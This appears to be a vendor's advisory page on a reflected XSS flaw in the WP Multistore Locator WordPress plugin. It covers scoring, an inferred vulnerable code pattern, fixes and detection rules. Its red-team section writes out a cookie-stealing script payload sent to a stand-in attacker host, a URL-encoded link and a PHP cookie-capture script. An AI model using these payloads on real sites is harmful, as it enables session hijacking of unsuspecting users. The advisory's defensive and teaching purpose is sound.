CVE-2025-24680
Executive Summary
CVE-2025-24680 is a reflected Cross-Site Scripting (XSS) vulnerability in the WPExperts WP Multistore Locator WordPress plugin, affecting versions up to and including 2.4.7. The vulnerability stems from improper neutralization of script-related HTML tags in a web page (Basic XSS), allowing an attacker to inject arbitrary JavaScript into a reflected response. This can be exploited to steal session cookies, perform phishing attacks, or deface the site. The CVSS score is 7.1 (High), and no official patch has been released as of the latest advisory. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for unpatched installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – The victim must click a crafted link.
- Scope: Changed (S:C) – The injected script can affect other resources.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: Low (A:L) – Limited disruption.
Threat Level: High. Although exploitation requires user interaction, the low complexity and network attack vector make it a viable target for phishing campaigns.
Deep Dive & Mechanics
The vulnerability exists in the wp-multi-store-locator plugin, specifically in how it handles user-supplied input in reflected responses. The plugin fails to properly sanitize script-related HTML tags (e.g., <script>, <img onerror>, <svg onload>) before reflecting them back to the user. This is a classic reflected XSS flaw.
Root Cause: The plugin uses $_GET or $_POST parameters (likely search or store parameters) and echoes them directly into the HTML output without encoding or filtering. For example, a parameter like ?store=<script>alert(1)</script> would be reflected in the page source.
Attack Vector: An attacker crafts a malicious URL containing the XSS payload and tricks a logged-in administrator or user into clicking it. The payload executes in the context of the victim's browser, allowing the attacker to:
- Steal session cookies (if
HttpOnlyflag is not set). - Perform actions on behalf of the victim (e.g., create admin accounts).
- Redirect to phishing pages.
- Deface the site.
WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not a server-level issue. The attack targets the WordPress application layer.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code pattern is described below. A patched version would use proper escaping functions.
Vulnerable Code (PHP):
// In wp-multi-store-locator.php or similar
$store_name = $_GET['store'];
echo "<div class='store-name'>" . $store_name . "</div>";
Patched Code (PHP):
$store_name = sanitize_text_field( $_GET['store'] );
echo "<div class='store-name'>" . esc_html( $store_name ) . "</div>";
The patched version uses sanitize_text_field() to strip dangerous tags and esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WP Multistore Locator <= 2.4.7 installed and activated.
- A victim user (e.g., admin) who will click the crafted link.
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
store,search,location). Use a simple test:http://target.com/?store=<script>alert(1)</script> - If an alert box appears, the parameter is vulnerable.
- Craft a payload to steal cookies:
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script> - URL-encode the payload and embed it in a link:
http://target.com/?store=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link to the victim via email, social engineering, or other means.
Lab Setup:
- Use a local WordPress installation (e.g., via Docker or XAMPP).
- Install the vulnerable plugin version 2.4.7.
- Set up a simple PHP script on an attacker machine to capture cookies:
<?php $cookie = $_GET['c']; file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND); ?>
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests containing
<script>,onerror,onload, or other XSS patterns in query parameters. - Use WAF rules to block reflected XSS attempts (e.g., ModSecurity rule 942100).
- Deploy browser-based XSS filters (e.g., X-XSS-Protection header).
Defense:
- Apply input validation and output encoding (see patched code).
- Set
HttpOnlyandSecureflags on session cookies. - Implement Content Security Policy (CSP) headers to restrict script sources.
- Keep the plugin updated; if no patch is available, consider disabling the plugin.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with query parameters containing
<script>,%3Cscript%3E,onerror,onload, orjavascript:. - Outbound connections to attacker-controlled domains from the victim's browser.
- HTTP requests with query parameters containing
- File IOCs:
- Modified plugin files (e.g.,
wp-content/plugins/wp-multi-store-locator/*.php) containing injected code.
- Modified plugin files (e.g.,
- Log IOCs:
- Web server logs showing repeated requests to the same URL with XSS payloads.
- Error logs with JavaScript execution errors.
Detection Engineering
YARA Rule
rule CVE_2025_24680_XSS_Reflected {
meta:
description = "Detects reflected XSS payloads targeting WP Multistore Locator"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-24680"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:\s*/is
$param = /[?&](store|search|location)\s*=\s*/i
condition:
any of ($xss*) and $param
}
Sigma Rule
title: Reflected XSS in WP Multistore Locator
id: cve-2025-24680
status: experimental
description: Detects reflected XSS attempts against WP Multistore Locator plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
cs-uri-query|contains|all:
- 'wp-multi-store-locator'
condition: selection
falsepositives:
- Legitimate use of JavaScript in search queries (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24680 Reflected XSS in WP Multistore Locator"; flow:to_server,established; content:"wp-multi-store-locator"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available and the site is critical.
- Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block XSS payloads in query parameters.
- Manually patch the vulnerable code by adding
esc_html()andsanitize_text_field()to all reflected parameters (see patched code example).
Long-Term Fix:
- Monitor the vendor's repository for an official update.
- Consider replacing the plugin with a more secure alternative if the vendor does not respond.
General Best Practices:
- Implement Content Security Policy (CSP) headers.
- Use
HttpOnlyandSecureflags on cookies. - Regularly audit WordPress plugins for vulnerabilities.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.